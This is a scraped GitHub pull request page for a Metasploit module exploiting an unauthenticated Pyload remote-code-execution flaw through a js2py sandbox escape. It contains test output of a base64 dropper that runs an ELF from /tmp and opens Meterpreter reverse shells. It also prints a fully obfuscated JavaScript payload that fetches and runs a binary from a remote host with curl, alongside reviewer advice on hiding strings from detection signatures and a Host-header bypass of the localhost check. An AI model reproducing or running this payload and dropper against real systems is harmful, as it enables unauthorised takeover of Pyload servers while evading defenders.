-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397) #19640
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397) #19640
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Module is looking pretty good. I was able to test that it's working just fine so I'll land the rex-random_identifier side of things. I just left a couple of comments, one of which is an issue with payload encoding/escaping.
I tested the version mentioned in the docs, but I also spot checked a couple older versions; version-0.5.0b3.dev79
and version-0.5.0b3.dev73
. The last one, dev73, was posted over a year ago.
Testing Output
First is targeting dev79 then behind the scenes I switched to dev 73. Both worked as intended. ``` metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > run[] Started reverse TCP handler on 192.168.159.128:4444
[!] AutoCheck is disabled, proceeding with exploitation
[] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/EmtlY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/gplfg' < '/tmp/EmtlY.b64' ; chmod +x '/tmp/gplfg' ; '/tmp/gplfg' ; rm -f '/tmp/gplfg' ; rm -f '/tmp/EmtlY.b64'"]
[] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/EmtlY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/gplfg' < '/tmp/EmtlY.b64' ; chmod +x '/tmp/gplfg' ; '/tmp/gplfg' ; rm -f '/tmp/gplfg' ; rm -f '/tmp/EmtlY.b64'
[] Transmitting intermediate stager...(126 bytes)
[] Sending stage (3045380 bytes) to 192.168.159.128
[] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.128:48736) at 2024-11-13 17:22:00 -0500
[] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter >
[*] 192.168.159.128 - Meterpreter session 3 closed. Reason: Died
metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > check
[] Executing command: sleep 9
[] Elapsed time: 9.956202448000113 seconds
[+] 192.168.159.128:9666 - The target is vulnerable. Successfully tested command injection.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > exploit
[] Started reverse TCP handler on 192.168.159.128:4444
[!] AutoCheck is disabled, proceeding with exploitation
[] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/JoQxC.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FudcN' < '/tmp/JoQxC.b64' ; chmod +x '/tmp/FudcN' ; '/tmp/FudcN' ; rm -f '/tmp/FudcN' ; rm -f '/tmp/JoQxC.b64'"]
[] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/JoQxC.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FudcN' < '/tmp/JoQxC.b64' ; chmod +x '/tmp/FudcN' ; '/tmp/FudcN' ; rm -f '/tmp/FudcN' ; rm -f '/tmp/JoQxC.b64'
[] Transmitting intermediate stager...(126 bytes)
[] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.128:44282) at 2024-11-13 17:28:38 -0500
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter >
meterpreter >
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer : 192.168.250.134
OS : (Linux 6.11.5-200.fc40.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/config/data
meterpreter >
</details>
|
||
function #{js_vars[:findpopen]}(#{js_vars[:o]}) { | ||
let #{js_vars[:result]}; | ||
for(let #{js_vars[:i]} in #{js_vars[:o]}.__subclasses__()) { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's cool that we're obfuscating the variable names - but if I were writing fingerprints for this - I'd just have a simple check for __subclasses__
to detect issues
Maybe this should be obfuscated too?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't know if our :Rex::Exploitation::ObfuscateJS
handles this or not
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Might have to swap out things like let
for var
for it to work, as I'm not sure how much modern syntax it supports
Likewise for (var .. in ..) {
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This had crossed my mind but I wasn't exactly sure how I would have done it. I appreciate you bringing this up!
This is the javascript payload now after obfuscation:
let wTp5 = unescape("%63" + "%75%72%6c" + "%20%2d%73%6f%20%2e%2f%45%55%6a%68%78" + "%41%41%42%20%68%74%74%70%3a" + "%2f%2f%31%37%32%2e%31%36%2e%31%39%39%2e%31" + "%3a%38%30%38%30" + "%2f%4f%68%66%74%56%72%31%78%55%59%33%42%68%39%6b%75%51%47%41%61%35" + "%51%3b%20" + "%63" + "%68%6d%6f%64%20%2b%78%20%2e%2f%45%55%6a%68%78%41%41%42%3b" + "%20%2e%2f%45%55" + "%6a%68%78%41%41%42%20%26")
let f_Rzzxu281z, yUgI0ddexQ, m4ER
let wVO7GO4q, o_2Ldv
gReB1YKPZs = String.fromCharCode( 0x5f, 0x5f, 98, 97, 0163, 0x65, 95, 95 )
qU1jrx = String.fromCharCode( 0137, 0x5f, 0x67, 101, 0x74, 97, 116, 0x74, 114, 0151, 0142, 117, 0164, 0x65, 0x5f, 95 )
f_Rzzxu281z = Object.getOwnPropertyNames({})
yUgI0ddexQ = f_Rzzxu281z[qU1jrx]
m4ER = yUgI0ddexQ(String.fromCharCode( 0x5f, 0137, 0147, 101, 116, 97, 0x74, 0x74, 114, 105, 0x62, 0165, 0x74, 101, 0137, 0x5f ))
o_2Ldv = m4ER(String.fromCharCode( 0x5f, 0x5f, 0143, 0x6c, 0141, 0x73, 0x73, 0137, 0x5f ))[gReB1YKPZs]
wVO7GO4q = o_2Ldv[qU1jrx]
nkBtv8zF = unescape("%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f");
function ui3v1i2oj(bwPwuomAR9) {
let lzDlv;
for(let iKsEvSRGdi in bwPwuomAR9[nkBtv8zF]()) {
let wuidH4d = bwPwuomAR9[nkBtv8zF]()[iKsEvSRGdi]
if(wuidH4d.__module__ == unescape("%73%75%62%70%72%6f%63%65%73%73") && wuidH4d.__name__ == String.fromCharCode( 80, 0157, 0x70, 101, 0x6e )) {
return wuidH4d
}
if(wuidH4d.__name__ != String.fromCharCode( 0164, 121, 0x70, 0145 ) && (lzDlv = ui3v1i2oj(wuidH4d))) {
return lzDlv
}
}
}
m4ER = ui3v1i2oj(o_2Ldv)(wTp5, -1, null, -1, -1, -1, null, null, true).communicate()
I was playing with some of the other options but found just using the opts = { "Strings" => true }
with dynamic method calls seemed to be the easiest way of doing things:
#{js_vars[:sub_class]} = '__subclasses__';
...
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker; Just a bit of final golfing 🏌️
Since you can access object attributes with two notations object.attribute
or object['attribute']
. I believe if you swap to the latter syntax of __module__
or __name__
the full payload would be obfuscated fully without any strings that would be easy to match
Release NotesThis adds an exploit module that leverages CVE-2024-39205 which is an unauthenticated RCE in Pyload. |
This add an exploit module for an RCE vulnerability in Pyload.
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.
Verification
List the steps needed to make sure this thing works
use exploit/linux/http/pyload_js2py_cve_2024_39205
RHOST
,LHOST
PAYLOAD
and payload associated optionsrun